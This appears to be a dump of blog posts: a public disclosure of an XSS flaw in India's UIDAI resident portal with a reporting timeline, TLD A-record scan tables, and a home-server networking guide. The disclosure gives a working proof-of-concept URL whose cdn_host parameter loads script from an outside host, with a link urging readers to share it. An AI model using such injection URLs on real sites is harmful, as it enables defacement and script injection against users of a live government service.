<li><a href="/blog/2018/04/22/home-server-networking/">Part 5, Home Server Networking</a></li>
<li><a href="/blog/2019/02/24/btrfs-raid-device-replacement-story/">Part 6, btrfs RAID device replacement</a></li>
</ol>
<p>If you have any comments, <a href="/contact/">reach out to me</a></p>
Aadhaar Vulnerability Public Disclosure2018-09-15T00:00:00+00:00https://captnemo.in/blog/2018/09/15/aadhaar-disclosure<h1 id="the-vulnerability">The Vulnerability</h1>
<p>The UIDAI Resident Portal (with read access to entire Aadhaar Demographic data) is runing a vulnerable version
of LifeRay software. It is running LifeRay 6.1, which was declared End-of-Life in Febrary 2016.</p>
<p>This release includes multiple known vulnerabilities, including:</p>
<ol>
<li>A XSS issue, for which a PoC can be found at <a href="https://resident.uidai.gov.in/?cdn_host=https://scan.bb8.fun">resident.uidai.gov.in</a> (Picture Credits: <a href="https://twitter.com/sanitarypanels">@sanitarypanels</a>)</li>
<li>Multiple RCEs: See <a href="https://dev.liferay.com/web/community-security-team/known-vulnerabilities/liferay-portal-62">issue-62</a> for eg.</li>
</ol>
<p>In fact the release is so old it does not even appear on the <a href="https://portal.liferay.dev/learn/security/known-vulnerabilities">“Known Vulnerabilities”</a> page on the LifeRay website; you have to go look at their <a href="https://dev.liferay.com/web/community-security-team/known-vulnerabilities/liferay-portal-62">Archived Vulnerabilities</a>.</p>
<h1 id="the-poc">The PoC</h1>
<p>You can find a simple Proof of Concept for the XSS issue at <a href="https://resident.uidai.gov.in/?cdn_host=https://scan.bb8.fun">resident.uidai.gov.in</a>.</p>
<p>The <code class="language-plaintext highlighter-rouge">cdn_host</code> parameter injects javascript from <code class="language-plaintext highlighter-rouge">$CDN_HOST/Resident-theme/js/custom.js</code>, in this case <code class="language-plaintext highlighter-rouge">https://scan.bb8.fun/Resident-theme/js/custom.js</code> which hosts a small snippet to overwrite the HTML of the page.</p>
<p>It shows up like:</p>
<p><img src="/img/aadhaar1.jpg" alt="" /></p>
<h1 id="fun">Fun</h1>
<p>The current script allows for embeding any tweet using a <code class="language-plaintext highlighter-rouge">tweet</code> parameter. To embed:</p>
<p>Go to any tweet, copy the part after <code class="language-plaintext highlighter-rouge">twitter.com</code> and pass it as the <code class="language-plaintext highlighter-rouge">tweet</code> parameter. For eg, to embed this tweet:</p>
<blockquote class="twitter-tweet" data-lang="en"><p lang="en" dir="ltr">Breaking: Exclusive footage from inside <a href="https://twitter.com/UIDAI?ref_src=twsrc%5Etfw">@UIDAI</a>'s IT department after media reports of Aadhaar data leaks. <a href="https://t.co/W7m9L0HvEX">pic.twitter.com/W7m9L0HvEX</a></p>— Aadhaar Compound Wall (@13footwall) <a href="https://twitter.com/13footwall/status/979301578686345216?ref_src=twsrc%5Etfw">March 29, 2018</a></blockquote>
<script async="" src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>
<ol>
<li>Look at the URL: <code class="language-plaintext highlighter-rouge">https://twitter.com/13footwall/status/979301578686345216</code></li>
<li>Copy <code class="language-plaintext highlighter-rouge">13footwall/status/979301578686345216</code> and pass it as the <code class="language-plaintext highlighter-rouge">tweet parameter</code>:</li>
<li>The URL becomes<code class="language-plaintext highlighter-rouge">https://resident.uidai.gov.in/?cdn_host=https://scan.bb8.fun&tweet=13footwall/status/979301578686345216</code></li>
<li><a href="https://resident.uidai.gov.in/?cdn_host=https://scan.bb8.fun&tweet=13footwall/status/979301578686345216"><strong>SHARE IT</strong></a></li>
</ol>
<h1 id="the-report">The Report</h1>
<p>I initially reported this to <code class="language-plaintext highlighter-rouge">[email protected]</code> in Jan 2017:</p>
<p><img src="/img/aadhaar-report1.jpg" alt="" /></p>
<p>Forgot all about it till Jan 2018, when someone mentioned I should try my luck with CERT-IN instead:</p>
<p><img src="/img/aadhaar-report2.png" alt="" /></p>
<h1 id="update">Update</h1>
<p>There is <a href="https://twitter.com/kingslyj/status/1040985678408871937">some confusion</a> regarding which version of LifeRay
is UIDAI running. They seem to be running 6.1.1, released in 2013-02-26.</p>
<p>The exact version is not relevant to the fact that UIDAI is:</p>
<ul>
<li>running an unsupported release</li>
<li>which is 5 year old</li>
<li>not updating it despite being notified multiple times</li>
</ul>
<p><em>0800 16-Sep</em>: UIDAI seems to have patched the issue by putting a block on the <code class="language-plaintext highlighter-rouge">cdn_host</code> parameter. This still leaves them vulnerable to multiple vulnerabilities until they update to a supported release.</p>
<h1 id="timeline">Timeline</h1>
<p>The vulnerability is still not fixed. Here is a complete timeline:</p>
<table>
<thead>
<tr>
<th>Date</th>
<th>What?</th>
</tr>
</thead>
<tbody>
<tr>
<td>16 Jan 2017</td>
<td>Initially reported to <code class="language-plaintext highlighter-rouge">[email protected]</code>. No response</td>
</tr>
<tr>
<td>21 Jan 2018</td>
<td>Reported to <code class="language-plaintext highlighter-rouge">[email protected]</code> and <code class="language-plaintext highlighter-rouge">[email protected]</code>. No response</td>
</tr>
<tr>
<td>19 Feb 2018</td>
<td>Reminder sent to <code class="language-plaintext highlighter-rouge">[email protected]</code> and <code class="language-plaintext highlighter-rouge">[email protected]</code></td>
</tr>
<tr>
<td>19 Feb 2018</td>
<td>Acknowledgement from CERT</td>
</tr>
<tr>
<td>15 Mar 2018</td>
<td>Reminder sent. No response</td>
</tr>
<tr>
<td>17 Mar 2018</td>
<td>Notified <a href="mailto:[email protected]">NCIIPC</a></td>
</tr>
<tr>
<td>18 Mar 2018</td>
<td>Confirmation from NCIIPC asking for more details. I replied back with a quote of previous exchange</td>
</tr>
<tr>
<td>19 Mar 2018</td>
<td>Confirmation from NCIIPC thanking me for the report.</td>
</tr>
<tr>
<td>19 Apr 2018</td>
<td>Reminder sent to UIDAI asking for acknowledgement</td>
</tr>
<tr>
<td>30 May 2018</td>
<td>Reminder sent to NCIIPC and CERT asking for updates</td>
</tr>
</tbody>
</table>
<p>The only change that I’m aware of since my initial report is that the website stopped declaring the <a href="https://en.wikipedia.org/wiki/Security_through_obscurity">LifeRay version in a HTTP response Header</a>.</p>
A records on top level domains2018-08-18T00:00:00+00:00https://captnemo.in/blog/2018/08/18/tld-a-records<p>A few more changes since <a href="/blog/2018/06/02/google-tld-no-more-a-records/">the last time I ran this</a>.</p>
<p><em>Update</em>: An automatically updated version of this is available at https://captnemo.in/tld-a-record/</p>
<table>
<tbody>
<tr>
<td>TLD</td>
<td>IP</td>
<td>Web</td>
</tr>
<tr>
<td>ai</td>
<td>209.59.119.34</td>
<td>[<a href="http://ai">http</a>] [<a href="https://ai">https</a>]</td>
</tr>
<tr>
<td>arab</td>
<td>127.0.53.53</td>
<td>[<a href="http://arab">http</a>] [<a href="https://arab">https</a>]</td>
</tr>
<tr>
<td>bh</td>
<td>88.201.27.211</td>
<td>[<a href="http://bh">http</a>] [<a href="https://bh">https</a>]</td>
</tr>
<tr>
<td>charity</td>
<td>127.0.53.53</td>
<td>[<a href="http://charity">http</a>] [<a href="https://charity">https</a>]</td>
</tr>
<tr>
<td>cm</td>
<td>195.24.205.60</td>
<td>[<a href="http://cm">http</a>] [<a href="https://cm">https</a>]</td>
</tr>
<tr>
<td>dk</td>
<td>193.163.102.58</td>
<td>[<a href="http://dk">http</a>] [<a href="https://dk">https</a>]</td>
</tr>
<tr>
<td>gg</td>
<td>87.117.196.80</td>
<td>[<a href="http://gg">http</a>] [<a href="https://gg">https</a>]</td>
</tr>
<tr>
<td>inc</td>
<td>127.0.53.53</td>
<td>[<a href="http://inc">http</a>] [<a href="https://inc">https</a>]</td>
</tr>
<tr>
<td>je</td>
<td>87.117.196.80</td>
<td>[<a href="http://je">http</a>] [<a href="https://je">https</a>]</td>
</tr>
<tr>
<td>pa</td>
<td>168.77.8.43</td>
<td>[<a href="http://pa">http</a>] [<a href="https://pa">https</a>]</td>
</tr>
<tr>
<td>pn</td>
<td>80.68.93.100</td>
<td>[<a href="http://pn">http</a>] [<a href="https://pn">https</a>]</td>
</tr>
<tr>
<td>politie</td>
<td>127.0.53.53</td>
<td>[<a href="http://politie">http</a>] [<a href="https://politie">https</a>]</td>
</tr>
<tr>
<td>tk</td>
<td>217.119.57.22</td>
<td>[<a href="http://tk">http</a>] [<a href="https://tk">https</a>]</td>
</tr>
<tr>
<td>uz</td>
<td>91.212.89.8</td>
<td>[<a href="http://uz">http</a>] [<a href="https://uz">https</a>]</td>
</tr>
<tr>
<td>ws</td>
<td>64.70.19.33</td>
<td>[<a href="http://ws">http</a>] [<a href="https://ws">https</a>]</td>
</tr>
<tr>
<td>мон</td>
<td>202.170.80.40</td>
<td>[<a href="http://мон">http</a>] [<a href="https://мон">https</a>]</td>
</tr>
<tr>
<td>мон</td>
<td>218.100.84.27</td>
<td>[<a href="http://мон">http</a>] [<a href="https://мон">https</a>]</td>
</tr>
<tr>
<td>мон</td>
<td>180.149.98.78</td>
<td>[<a href="http://мон">http</a>] [<a href="https://мон">https</a>]</td>
</tr>
<tr>
<td>政府</td>
<td>127.0.53.53</td>
<td>[<a href="http://政府">http</a>] [<a href="https://政府">https</a>]</td>
</tr>
<tr>
<td>عرب</td>
<td>127.0.53.53</td>
<td>[<a href="http://عرب">http</a>] [<a href="https://عرب">https</a>]</td>
</tr>
</tbody>
</table>
<p>Diff:</p>
<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gi">+bh
+charity
</span><span class="gd">-etisalat
</span><span class="gi">+inc
</span><span class="gd">-اتصالات
-招聘
</span> 政府
</code></pre></div></div>
Google owned TLDs don't have A records any more2018-06-02T00:00:00+00:00https://captnemo.in/blog/2018/06/02/google-tld-no-more-a-records<p>A little while ago (Jan 2018), I ran a scan to see which all TLDs have an A record set (on the TLD). This is what lets you visit <a href="http://ai/">http://ai/</a> as a valid website on your browser, for eg.</p>
<p>I ran the same scan as http://blog.towo.eu/a-records-on-top-level-domains/ (link is down, <a href="https://web.archive.org/web/*/http://blog.towo.eu/a-records-on-top-level-domains/">archived</a>) and the results are at <a href="https://captnemo.in/blog/2018/02/09/tld-a-records/">https://captnemo.in/blog/2018/02/09/tld-a-records/</a>.</p>
<p>Decided to re-run the scan today, and noticed a stark difference: A lot of Google-owned TLD’s which were earlier pointing to <code class="language-plaintext highlighter-rouge">127.0.53.53</code> don’t have a A record anymore.</p>
<p>Scan run from <code class="language-plaintext highlighter-rouge">AS45609</code>.</p>
<p>Results:</p>
<table>
<thead>
<tr>
<th>TLD</th>
<th>IP</th>
<th>Web</th>
</tr>
</thead>
<tbody>
<tr>
<td>ai</td>
<td>209.59.119.34</td>
<td><a href="http://ai">[http]</a>, <a href="https://ai">[https]</a></td>
</tr>
<tr>
<td>arab</td>
<td>127.0.53.53</td>
<td>Private IP</td>
</tr>
<tr>
<td>cm</td>
<td>195.24.205.60</td>
<td><a href="http://cm">[http]</a>, <a href="https://cm">[https]</a></td>
</tr>
<tr>
<td>dk</td>
<td>193.163.102.58</td>
<td><a href="http://dk">[http]</a>, <a href="https://dk">[https]</a></td>
</tr>
<tr>
<td>etisalat</td>
<td>127.0.53.53</td>
<td>Private IP</td>
</tr>
<tr>
<td>gg</td>
<td>87.117.196.80</td>
<td><a href="http://gg">[http]</a>, <a href="https://gg">[https]</a></td>
</tr>
<tr>
<td>je</td>
<td>87.117.196.80</td>
<td><a href="http://je">[http]</a>, <a href="https://je">[https]</a></td>
</tr>
<tr>
<td>pa</td>
<td>168.77.8.43</td>
<td><a href="http://pa">[http]</a>, <a href="https://pa">[https]</a></td>
</tr>
<tr>
<td>pn</td>
<td>80.68.93.100</td>
<td><a href="http://pn">[http]</a>, <a href="https://pn">[https]</a></td>
</tr>
<tr>
<td>politie</td>
<td>127.0.53.53</td>
<td>Private IP</td>
</tr>
<tr>
<td>tk</td>
<td>217.119.57.22</td>
<td><a href="http://tk">[http]</a>, <a href="https://tk">[https]</a></td>
</tr>
<tr>
<td>uz</td>
<td>91.212.89.8</td>
<td><a href="http://uz">[http]</a>, <a href="https://uz">[https]</a></td>
</tr>
<tr>
<td>ws</td>
<td>64.70.19.33</td>
<td><a href="http://ws">[http]</a>, <a href="https://ws">[https]</a></td>
</tr>
<tr>
<td>мон</td>
<td>218.100.84.27</td>
<td><a href="http://мон">[http]</a>, <a href="https://мон">[https]</a></td>
</tr>
<tr>
<td>мон</td>
<td>202.170.80.40</td>
<td><a href="http://мон">[http]</a>, <a href="https://мон">[https]</a></td>
</tr>
<tr>
<td>мон</td>
<td>180.149.98.78</td>
<td><a href="http://мон">[http]</a>, <a href="https://мон">[https]</a></td>
</tr>
<tr>
<td>اتصالات</td>
<td>127.0.53.53</td>
<td>Private IP</td>
</tr>
<tr>
<td>政府</td>
<td>127.0.53.53</td>
<td>Private IP</td>
</tr>
<tr>
<td>عرب</td>
<td>127.0.53.53</td>
<td>Private IP</td>
</tr>
<tr>
<td>招聘</td>
<td>127.0.53.53</td>
<td>Private IP</td>
</tr>
</tbody>
</table>
<p>Comparing with the previous scan, these TLDs no longer have an A record with them:</p>
<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">-android
-cal
-chrome
-dclk
-drive
-gle
-guge
-hangout
-nexus
-play
-sport
-谷歌
-グーグル
</span></code></pre></div></div>
<p>The majority of these are owned by Google. Not claiming it means anything, just a nice observation.</p>
<p><em>Update</em>: An automatically updated version of this is available at https://captnemo.in/tld-a-record/</p>
Home Server Networking2018-04-22T00:00:00+00:00https://captnemo.in/blog/2018/04/22/home-server-networking<p>Next in the Home Server series, this post documents how I got the networking setup to
serve content publicly from my under-the-tv server.</p>
<p><img src="/img/networking.jpg" alt="Colorful block diagram for the networking setup" /></p>
<h2 id="background">Background</h2>
<p>My home server runs on a mix of Docker/Traefik orchestrated via Terraform. The source code is
at <a href="https://git.captnemo.in/nemo/nebula">https://git.captnemo.in/nemo/nebula</a> (self-hosted, dogfooding FTW!) if you wanna take a look.</p>
<p>The ISP is ACT Bangalore<sup id="fnref:1" role="doc-noteref"><a href="#fn:1" class="footnote" rel="footnote">1</a></sup>. They offer decent bandwidth and I’ve been a customer long time.</p>
<h2 id="public-static-ip">Public Static IP</h2>
<p>In order to host content, you need a stable public IP. Unfortunately, ACT puts all of its customers
in Bangalore behind a NAT <sup id="fnref:2" role="doc-noteref"><a href="#fn:2" class="footnote" rel="footnote">2</a></sup>. As a result, I decided to get a <a href="https://www.digitalocean.com/community/tutorials/how-to-use-floating-ips-on-digitalocean">Floating IP from Digital Ocean</a> <sup id="fnref:3" role="doc-noteref"><a href="#fn:3" class="footnote" rel="footnote">3</a></sup>.</p>
<p>The Static IP is attached to a cheap Digital Ocean Droplet (10$/mo). If you resolve <code class="language-plaintext highlighter-rouge">bb8.fun</code>, this is the IP you will get:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Name: bb8.fun
Address: 139.59.48.222
</code></pre></div></div>
<p>The droplet has a public static IP of it’s own as well: <code class="language-plaintext highlighter-rouge">139.59.22.234</code>. The reason I picked a Floating IP is because DO gives them for free, and I can switch between instances later without worrying about it.</p>
<h2 id="floating-ip">Floating IP</h2>
<p>On the Digital Ocean infrastructure side, this IP is not directly attached to an interface on your droplet. Instead,
DO uses something called “Anchor IP”:</p>
<blockquote>
<p>Network traffic between a Floating IP and a Droplet flows through an anchor IP, which is an IP address aliased to the Droplet’s public network interface (eth0). You should bind any public services that you want to make highly available through a Floating IP to the anchor IP.</p>
</blockquote>
<p>So, now my Droplet has 2 different IPs that I can use:</p>
<ol>
<li>Droplet Public IP (<code class="language-plaintext highlighter-rouge">139.59.22.234</code>), assigned directly to the <code class="language-plaintext highlighter-rouge">eth0</code> interface.</li>
<li>Droplet Anchor IP (<code class="language-plaintext highlighter-rouge">10.47.0.5</code>), setup as an alias to the <code class="language-plaintext highlighter-rouge">eth0</code> interface.</li>
</ol>
<p>This doubles the number of services I can listen to. I could have (for eg) - 2 different webservers
on both of these IPs.</p>
<h2 id="openvpn">OpenVPN</h2>
<p>In order to establish NAT-punching connectivity between the Droplet and the Home Server, I run OpenVPN server
on the Droplet and <code class="language-plaintext highlighter-rouge">openvpn-client</code> on the homeserver.<sup id="fnref:4" role="doc-noteref"><a href="#fn:4" class="footnote" rel="footnote">4</a></sup></p>
<p>The <a href="https://www.digitalocean.com/community/tutorials/how-to-set-up-an-openvpn-server-on-ubuntu-16-04" title="by Justin Ellingwood">Digital Ocean Guide</a> is a great resource if you ever have to do this. 2 specific IPs on the OpenVPN
network are marked as static:</p>
<ol>
<li>Droplet: <code class="language-plaintext highlighter-rouge">10.8.0.1</code></li>
<li>Home Server: <code class="language-plaintext highlighter-rouge">10.8.0.14</code></li>
</ol>
<h2 id="home-server---networking">Home Server - Networking</h2>
<ul>
<li>The server has a private static IP assigned to its <code class="language-plaintext highlighter-rouge">eth0</code> interface</li>
<li>It also has a private static IP assiged to its <code class="language-plaintext highlighter-rouge">tun0</code> interface</li>
</ul>
<p>There are primarily 3 kinds of services that I like to run:</p>
<ol>
<li>Accessible only from within the home network (Timemachine backups, for eg) (Internal). This I publish on the <code class="language-plaintext highlighter-rouge">eth0</code> interface.</li>
<li>Accessible only from the public internet (Wiki) (Strictly Public). These I publish on the <code class="language-plaintext highlighter-rouge">tun0</code> interface and proxy via the droplet.</li>
<li>Accessible from both places (Emby, AirSonic) (Public). These I pubish on both <code class="language-plaintext highlighter-rouge">tun0</code> and the <code class="language-plaintext highlighter-rouge">eth0</code> interface on the homeserver.</li>
</ol>
<h2 id="docker-networking-basics">Docker Networking Basics</h2>
<p>Docker runs its own internal network for services, and lets you “publish” these services
by forwarding traffic from a given interface to them.</p>
<p>In plain docker-cli, this would be:</p>
<p><code class="language-plaintext highlighter-rouge">docker run nginx --publish 443:443,80:80</code> (forward traffic on 443,80 on all interfaces to the container)</p>
<p>Since I use Terraform, it looks <a href="https://git.captnemo.in/nemo/nebula/src/branch/master/docker/traefik.tf">like the following for Traefik</a>:</p>
<div class="language-perl highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Admin Backend</span>
<span class="nv">ports</span> <span class="p">{</span>
<span class="nv">internal</span> <span class="o">=</span> <span class="mi">1111</span>
<span class="nv">external</span> <span class="o">=</span> <span class="mi">1111</span>
<span class="nv">ip</span> <span class="o">=</span> <span class="p">"</span><span class="si">${var</span><span class="err">.</span><span class="si">ips</span><span class="err">["</span><span class="si">eth0</span><span class="err">"]</span><span class="si">}</span><span class="p">"</span>
<span class="p">}</span>
<span class="nv">ports</span> <span class="p">{</span>
<span class="nv">internal</span> <span class="o">=</span> <span class="mi">1111</span>
<span class="nv">external</span> <span class="o">=</span> <span class="mi">1111</span>
<span class="nv">ip</span> <span class="o">=</span> <span class="p">"</span><span class="si">${var</span><span class="err">.</span><span class="si">ips</span><span class="err">["</span><span class="si">tun0</span><span class="err">"]</span><span class="si">}</span><span class="p">"</span>
<span class="p">}</span>
<span class="c1"># Local Web Server</span>
<span class="nv">ports</span> <span class="p">{</span>
<span class="nv">internal</span> <span class="o">=</span> <span class="mi">80</span>
<span class="nv">external</span> <span class="o">=</span> <span class="mi">80</span>
<span class="nv">ip</span> <span class="o">=</span> <span class="p">"</span><span class="si">${var</span><span class="err">.</span><span class="si">ips</span><span class="err">["</span><span class="si">eth0</span><span class="err">"]</span><span class="si">}</span><span class="p">"</span>
<span class="p">}</span>
<span class="c1"># Local Web Server (HTTPS)</span>
<span class="nv">ports</span> <span class="p">{</span>
<span class="nv">internal</span> <span class="o">=</span> <span class="mi">443</span>
<span class="nv">external</span> <span class="o">=</span> <span class="mi">443</span>
<span class="nv">ip</span> <span class="o">=</span> <span class="p">"</span><span class="si">${var</span><span class="err">.</span><span class="si">ips</span><span class="err">["</span><span class="si">eth0</span><span class="err">"]</span><span class="si">}</span><span class="p">"</span>
<span class="p">}</span>
<span class="c1"># Proxied via sydney.captnemo.in</span>
<span class="nv">ports</span> <span class="p">{</span>
<span class="nv">internal</span> <span class="o">=</span> <span class="mi">443</span>
<span class="nv">external</span> <span class="o">=</span> <span class="mi">443</span>
<span class="nv">ip</span> <span class="o">=</span> <span class="p">"</span><span class="si">${var</span><span class="err">.</span><span class="si">ips</span><span class="err">["</span><span class="si">tun0</span><span class="err">"]</span><span class="si">}</span><span class="p">"</span>
<span class="p">}</span>
<span class="nv">ports</span> <span class="p">{</span>
<span class="nv">internal</span> <span class="o">=</span> <span class="mi">80</span>
<span class="nv">external</span> <span class="o">=</span> <span class="mi">80</span>
<span class="nv">ip</span> <span class="o">=</span> <span class="p">"</span><span class="si">${var</span><span class="err">.</span><span class="si">ips</span><span class="err">["</span><span class="si">tun0</span><span class="err">"]</span><span class="si">}</span><span class="p">"</span>
<span class="p">}</span>
</code></pre></div></div>
<p>There are 3 “services” exposed by Traefik on 3 ports:</p>
<dl>
<dt>Traefik Admin Interface</dt>
<dd>Useful for debugging. I leave this in Read-Only mode with no authentication. This is an <em>Internal</em> service</dd>
<dt>HTTP, Port 80</dt>
<dd>This redirects users to the next entrypoint (HTTPS). This is a <em>Public</em> service.</dd>
<dt>HTTPS, Port 443</dt>
<dd>This is where most of the traefik flows. This is a <em>Public</em> service.</dd>
</dl>
<p>For all 3 of the above, Docker forwards traffic from both OpenVPN, as well as the home network. OpenVPN lets me access this from my laptop when I’m not at home, which is helpful for debugging issues. However, to keep the Admin Interface internal, it is not published to the internet.</p>
<h1 id="internet-access">Internet Access</h1>
<p>The “bridge” between the Floating IP and the OpenVPN IP (both on the Digital Ocean droplet) is <code class="language-plaintext highlighter-rouge">simpleproxy</code>. It is a <a href="https://github.com/vzaliva/simpleproxy">barely-maintained 200 line TCP-proxy</a>. I picked it up because of its ease of use as a TCP Proxy. I specifically looked for a TCP Proxy because:</p>
<ol>
<li>I did not want to terminate SSL on Digital Ocean, since Traefik was already doing LetsEncrypt cert management for me</li>
<li>I also wanted to proxy non-web services (more below).</li>
</ol>
<p>The simpleproxy configuration consists of a few systemd units:</p>
<div class="language-ini highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nn">[Service]</span>
<span class="py">Type</span><span class="p">=</span><span class="s">simple</span>
<span class="py">WorkingDirectory</span><span class="p">=</span><span class="s">/tmp</span>
<span class="c"># Forward Anchor IP 80 -> Home Server VPN 80
</span><span class="py">ExecStart</span><span class="p">=</span><span class="s">/usr/bin/simpleproxy -L 10.47.0.5:80 -R 10.8.0.14:80</span>
<span class="py">Restart</span><span class="p">=</span><span class="s">on-abort</span>
<span class="nn">[Install]</span>
<span class="py">WantedBy</span><span class="p">=</span><span class="s">multi-user.target</span>
<span class="nn">[Unit]</span>
<span class="py">Description</span><span class="p">=</span><span class="s">Simple Proxy</span>
<span class="py">After</span><span class="p">=</span><span class="s">network.target</span>
</code></pre></div></div>
<p>I run 3 of these: 2 for HTTP/HTTPS, and another one for SSH.</p>
<p>While I use simpleproxy for its stability and simplicity, you could also use iptables to
achieve the same result.</p>
<h1 id="ssh-tunelling">SSH Tunelling</h1>
<p>When I’m on the go, there are 3 different SSH services I might need:</p>
<ol>
<li>Digital Ocean Droplet</li>
<li>Home Server</li>
<li>Git (<code class="language-plaintext highlighter-rouge">gitea</code> runs its own internal git server)</li>
</ol>
<p>My initial plan was:</p>
<ol>
<li>Forward Port 22 Floating IP Traffic to Gitea.</li>
<li>Use the <code class="language-plaintext highlighter-rouge">eth0</code> interface on the droplet to run the droplet <code class="language-plaintext highlighter-rouge">sshd</code> service.</li>
<li>Keep the Home Server SSH forwarded to OpenVPN, so I can access it over the VPN network.</li>
</ol>
<p>Unfortunately, that didn’t work out well, because <code class="language-plaintext highlighter-rouge">sshd</code> <a href="https://serverfault.com/questions/605446/make-sshd-listen-to-a-specific-interface">doesn’t support listening on an Interface</a>. I could have used the Public Droplet IP, but I didn’t like the idea.</p>
<p>The current setup instead involves:</p>
<ol>
<li>Running the droplet <code class="language-plaintext highlighter-rouge">sshd</code> on a separate port entirely (2222).</li>
<li>The <code class="language-plaintext highlighter-rouge">simpleproxy</code> service forwarding port 22 traefik to 2222 on OpenVPN IP which is then published by Docker to the <code class="language-plaintext highlighter-rouge">gitea</code> container’s port 22.</li>
</ol>
<p><a href="https://git.captnemo.in/nemo/nebula/src/branch/master/docker/conf/traefik.toml">The complete traefik configuration</a> is also available if you wanna look at the entrypoints in detail.</p>
<h1 id="caveats">Caveats</h1>
<h2 id="traefik-public-access">Traefik Public Access</h2>
<p>You might have noticed that because <code class="language-plaintext highlighter-rouge">traefik</code> is listening on both <code class="language-plaintext highlighter-rouge">eth0</code> and <code class="language-plaintext highlighter-rouge">tun0</code>, there is no guarantee of a “strictly internal” service via Traefik. Traefik just uses the Host headers in the request (or SNI) to determine the container to which it needs to forward the request. I use <code class="language-plaintext highlighter-rouge">*.in.bb8.fun</code> for internaly accessible services, and <code class="language-plaintext highlighter-rouge">*.bb8.fun</code> for public. But if someone decides to spoof the headers, they can access the Internal service.</p>
<p>Since I’m aware of the risk, I do not publish anything via traefik that I’m not comfortable putting on the internet. Only a couple of services are marked as “internal-also”, and are published on both. Services like Prometheus are not published via Traefik.</p>
<h2 id="2-servers">2 Servers</h2>
<p>Running and managing 2 servers takes a bit more effort, and has more moving parts.
But I use the droplet for other tasks as well (running my <a href="https://captnemo.in/dnscrypt/">DNSCrypt Server</a>, for eg).</p>
<h2 id="original-ip-address">Original IP Address</h2>
<p>Since SimpleProxy does not support the <a href="https://www.haproxy.org/download/1.8/doc/proxy-protocol.txt">Proxy Protocol</a>,
both Traefik and Gitea/SSH servers don’t get informed about the original IP Address. I plan to fix that by switching to HAProxy TCP-mode.</p>
<hr />
<p>If you’re interested in my <a href="/setup/homeserver/">self-hosting setup</a>, I’m using Terraform + Docker, the code is hosted on <a href="https://git.captnemo.in/nemo/nebula/">the same server</a>, and I’ve been writing about my experience and learnings:</p>
<ol>
<li><a href="/blog/2017/09/17/home-server-build/">Part 1, Hardware</a></li>
<li><a href="/blog/2017/11/09/home-server-update/">Part 2, Terraform/Docker</a></li>
<li><a href="/blog/2017/12/18/home-server-learnings/">Part 3, Learnings</a></li>
<li><a href="/blog/2017/12/31/migrating-from-google/">Part 4, Migrating from Google (and more)</a></li>
<li><a href="/blog/2018/04/22/home-server-networking/">Part 5, Home Server Networking</a></li>
<li><a href="/blog/2019/02/24/btrfs-raid-device-replacement-story/">Part 6, btrfs RAID device replacement</a></li>
</ol>
<p>If you have any comments, <a href="/contact/">reach out to me</a></p>
<div class="footnotes" role="doc-endnotes">
<ol>
<li id="fn:1" role="doc-endnote">
<p>If you get lucky with their customer support, some of the folks I know have a static public IP on their home setup. In my case, they asked me to upgrade to a corporate plan. <a href="#fnref:1" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
<li id="fn:2" role="doc-endnote">
<p>I once scanned their entire network using <code class="language-plaintext highlighter-rouge">masscan</code>. It was fun: <a href="https://medium.com/@captn3m0/i-scanned-all-of-act-bangalore-customers-and-the-results-arent-surprising-fecf9d7fe775">https://medium.com/@captn3m0/i-scanned-all-of-act-bangalore-customers-and-the-results-arent-surprising-fecf9d7fe775</a> <a href="#fnref:2" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
<li id="fn:3" role="doc-endnote">
<p>AWS calls its “permanent” IP addresses “Elastic” and Digital Ocean calls them “Floating”. We really need better names in this industry. <a href="#fnref:3" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
<li id="fn:4" role="doc-endnote">
<p>Migrating to Wireguard is on my list, but I haven’t found any good documentation on running a hub-spoke network so far. <a href="#fnref:4" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
</ol>
</div>
A records on top level domains2018-02-09T00:00:00+00:00https://captnemo.in/blog/2018/02/09/tld-a-records<p>Re-ran the same scan as http://blog.towo.eu/a-records-on-top-level-domains/</p>
<p>Scan run from <code class="language-plaintext highlighter-rouge">AS9498</code>.</p>
<p>Results:</p>
<table>
<thead>
<tr>
<th>TLD</th>
<th>IP</th>
</tr>
</thead>
<tbody>
<tr>
<td>ai</td>
<td>209.59.119.34</td>
</tr>
<tr>
<td>android</td>
<td>127.0.53.53</td>
</tr>
<tr>
<td>arab</td>
<td>127.0.53.53</td>
</tr>
<tr>
<td>cal</td>
<td>127.0.53.53</td>
</tr>
<tr>
<td>chrome</td>
<td>127.0.53.53</td>
</tr>
<tr>
<td>cm</td>
<td>195.24.205.60</td>
</tr>
<tr>
<td>dclk</td>
<td>127.0.53.53</td>
</tr>
<tr>
<td>dk</td>
<td>193.163.102.58</td>
</tr>
<tr>
<td>drive</td>
<td>127.0.53.53</td>
</tr>
<tr>
<td>etisalat</td>
<td>127.0.53.53</td>
</tr>
<tr>
<td>gg</td>
<td>87.117.196.80</td>
</tr>
<tr>
<td>gle</td>
<td>127.0.53.53</td>
</tr>
<tr>
<td>guge</td>
<td>127.0.53.53</td>
</tr>
<tr>
<td>hangout</td>
<td>127.0.53.53</td>
</tr>
<tr>
<td>je</td>
<td>87.117.196.80</td>
</tr>
<tr>
<td>nexus</td>
<td>127.0.53.53</td>
</tr>
<tr>
<td>pa</td>
<td>168.77.8.43</td>
</tr>
<tr>
<td>play</td>
<td>127.0.53.53</td>
</tr>
<tr>
<td>pn</td>
<td>80.68.93.100</td>
</tr>
<tr>
<td>politie</td>
<td>127.0.53.53</td>
</tr>
<tr>
<td>sport</td>
<td>127.0.53.53</td>
</tr>
<tr>
<td>tk</td>
<td>217.119.57.22</td>
</tr>
<tr>
<td>uz</td>
<td>91.212.89.8</td>
</tr>
<tr>
<td>ws</td>
<td>64.70.19.33</td>
</tr>
<tr>
<td>谷歌</td>
<td>127.0.53.53</td>
</tr>
<tr>
<td>мон</td>
<td>218.100.84.27</td>
</tr>
<tr>
<td>мон</td>
<td>202.170.80.40</td>
</tr>
<tr>
<td>мон</td>
<td>180.149.98.78</td>
</tr>
<tr>
<td>اتصالات</td>
<td>127.0.53.53</td>
</tr>
<tr>
